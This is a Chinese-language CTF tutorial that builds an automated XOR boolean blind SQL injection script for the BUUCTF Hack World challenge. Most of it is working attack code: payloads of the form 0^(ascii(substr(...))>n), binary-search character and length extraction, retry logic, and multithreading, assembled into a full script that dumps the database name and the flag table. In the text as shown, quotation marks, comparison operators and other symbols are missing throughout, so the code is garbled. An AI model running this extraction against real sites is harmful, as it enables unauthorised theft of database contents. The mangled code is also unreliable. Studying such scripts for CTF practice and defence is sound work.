手把手教你用Python脚本自动化破解BUUCTF Hack World的异或盲注

Python自动化破解BUUCTF Hack World异或盲注实战指南在CTF竞赛中Web安全题目常常涉及SQL注入漏洞的利用。传统的折半查找法虽然有效但手工操作效率低下且容易出错。本文将带你用Python编写一个自动化脚本专门针对BUUCTF平台上的Hack World题目中的异或盲注漏洞进行高效爆破。1. 理解异或盲注原理与题目特征异或盲注XOR Blind Injection是一种特殊的SQL注入技术它利用数据库中的异或运算特性来推断信息。在Hack World题目中我们发现当提交id0^1时会返回Hello, glzjin wants a girlfriend.而id0^0则返回空或错误信息。异或运算的基本规则0 ^ 0 00 ^ 1 11 ^ 0 11 ^ 1 0我们可以利用这个特性构造布尔条件通过服务器响应差异来判断条件真假。例如# 判断数据库名长度是否大于10 payload 0^(length(database())10)如果返回特定响应说明条件为真1否则为假0。2. 构建自动化爆破脚本框架我们需要创建一个Python脚本使用requests库发送HTTP请求并自动处理响应判断。以下是基础框架import requests TARGET_URL http://example.com # 替换为实际题目URL SUCCESS_RESPONSE Hello, glzjin wants a girlfriend. def send_payload(payload): params {id: payload} response requests.get(TARGET_URL, paramsparams) return SUCCESS_RESPONSE in response.text def test_condition(condition): payload f0^({condition}) return send_payload(payload)3. 实现高效字符爆破算法手工折半查找效率低我们可以实现自动化的二分查找算法来爆破每个字符def binary_search_char(subquery, index): low 32 # ASCII可打印字符起始 high 126 # ASCII可打印字符结束 result None while low high: mid (low high) // 2 condition fascii(substr(({subquery}),{index},1)){mid} if test_condition(condition): low mid 1 else: condition_eq fascii(substr(({subquery}),{index},1)){mid} if test_condition(condition_eq): result chr(mid) break high mid - 1 return result4. 自动化获取数据库信息利用上述函数我们可以编写获取数据库信息的通用方法def get_string_data(subquery, max_length50): result # 先确定长度 length binary_search_length(subquery, max_length) # 逐字符爆破 for i in range(1, length 1): char binary_search_char(subquery, i) if char: result char print(f\rProgress: {i}/{length} - {result}, end) else: break print() return result def binary_search_length(subquery, max_length): low 1 high max_length result 1 while low high: mid (low high) // 2 condition flength(({subquery})){mid} if test_condition(condition): low mid 1 else: condition_eq flength(({subquery})){mid} if test_condition(condition_eq): result mid break high mid - 1 return result5. 实战应用获取flag现在我们可以直接获取flag表中的内容def get_flag(): flag_query select(flag)from(flag) flag get_string_data(flag_query) print(f\nFlag found: {flag}) return flag if __name__ __main__: print([*] Starting automated exploitation...) # 获取数据库名 db_name get_string_data(database()) print(f[] Database name: {db_name}) # 获取flag flag get_flag()6. 脚本优化与错误处理为了使脚本更健壮我们需要添加一些优化import time def send_payload(payload, max_retries3, delay1): for attempt in range(max_retries): try: params {id: payload} response requests.get(TARGET_URL, paramsparams, timeout10) return SUCCESS_RESPONSE in response.text except Exception as e: print(f[-] Attempt {attempt 1} failed: {str(e)}) if attempt max_retries - 1: time.sleep(delay) else: raise def get_string_data(subquery, max_length50): result try: length binary_search_length(subquery, max_length) print(f[*] Length determined: {length}) for i in range(1, length 1): char binary_search_char(subquery, i) if char: result char print(f\rProgress: {i}/{length} - {result}, end, flushTrue) else: print(f\n[!] Failed to get character at position {i}) break except KeyboardInterrupt: print(\n[!] Interrupted by user) if result: print(f[*] Partial result: {result}) except Exception as e: print(f\n[!] Error: {str(e)}) print() return result7. 多线程加速爆破过程对于较长的字符串我们可以使用多线程加速爆破from concurrent.futures import ThreadPoolExecutor def get_string_data_parallel(subquery, max_length50, threads4): result [None] * max_length length binary_search_length(subquery, max_length) print(f[*] Length determined: {length}) def get_char(position): return binary_search_char(subquery, position) with ThreadPoolExecutor(max_workersthreads) as executor: futures {executor.submit(get_char, i): i for i in range(1, length 1)} for future in futures: position futures[future] try: char future.result() if char: result[position - 1] char current .join([c if c else ? for c in result[:position]]) print(f\rProgress: {position}/{length} - {current}, end, flushTrue) except Exception as e: print(f\n[!] Error at position {position}: {str(e)}) final_result .join([c for c in result if c]) print(f\n[] Result: {final_result}) return final_result8. 完整脚本与使用说明将以上各部分组合起来我们得到完整的自动化爆破脚本import requests import time from concurrent.futures import ThreadPoolExecutor # 配置部分 TARGET_URL http://example.com # 替换为实际题目URL SUCCESS_RESPONSE Hello, glzjin wants a girlfriend. MAX_RETRIES 3 REQUEST_DELAY 0.5 # 防止请求过快被拦截 THREADS 4 # 并发线程数 def send_payload(payload, max_retriesMAX_RETRIES, delayREQUEST_DELAY): for attempt in range(max_retries): try: params {id: payload} response requests.get(TARGET_URL, paramsparams, timeout10) return SUCCESS_RESPONSE in response.text except Exception as e: print(f[-] Attempt {attempt 1} failed: {str(e)}) if attempt max_retries - 1: time.sleep(delay) else: raise def test_condition(condition): payload f0^({condition}) return send_payload(payload) def binary_search_char(subquery, index): low 32 high 126 result None while low high: mid (low high) // 2 condition fascii(substr(({subquery}),{index},1)){mid} if test_condition(condition): low mid 1 else: condition_eq fascii(substr(({subquery}),{index},1)){mid} if test_condition(condition_eq): result chr(mid) break high mid - 1 return result def binary_search_length(subquery, max_length): low 1 high max_length result 1 while low high: mid (low high) // 2 condition flength(({subquery})){mid} if test_condition(condition): low mid 1 else: condition_eq flength(({subquery})){mid} if test_condition(condition_eq): result mid break high mid - 1 return result def get_string_data_parallel(subquery, max_length50, threadsTHREADS): result [None] * max_length length binary_search_length(subquery, max_length) print(f[*] Length determined: {length}) def get_char(position): return binary_search_char(subquery, position) with ThreadPoolExecutor(max_workersthreads) as executor: futures {executor.submit(get_char, i): i for i in range(1, length 1)} for future in futures: position futures[future] try: char future.result() if char: result[position - 1] char current .join([c if c else ? for c in result[:position]]) print(f\rProgress: {position}/{length} - {current}, end, flushTrue) except Exception as e: print(f\n[!] Error at position {position}: {str(e)}) final_result .join([c for c in result if c]) print(f\n[] Result: {final_result}) return final_result def main(): print([*] Starting automated exploitation...) # 获取数据库名 print(\n[*] Retrieving database name...) db_name get_string_data_parallel(database()) print(f[] Database name: {db_name}) # 获取flag print(\n[*] Retrieving flag...) flag get_string_data_parallel(select(flag)from(flag)) print(f[] Flag: {flag}) if __name__ __main__: main()使用说明将TARGET_URL替换为实际题目URL根据题目响应调整SUCCESS_RESPONSE可以调整THREADS参数控制并发数如果遇到请求失败可以调整MAX_RETRIES和REQUEST_DELAY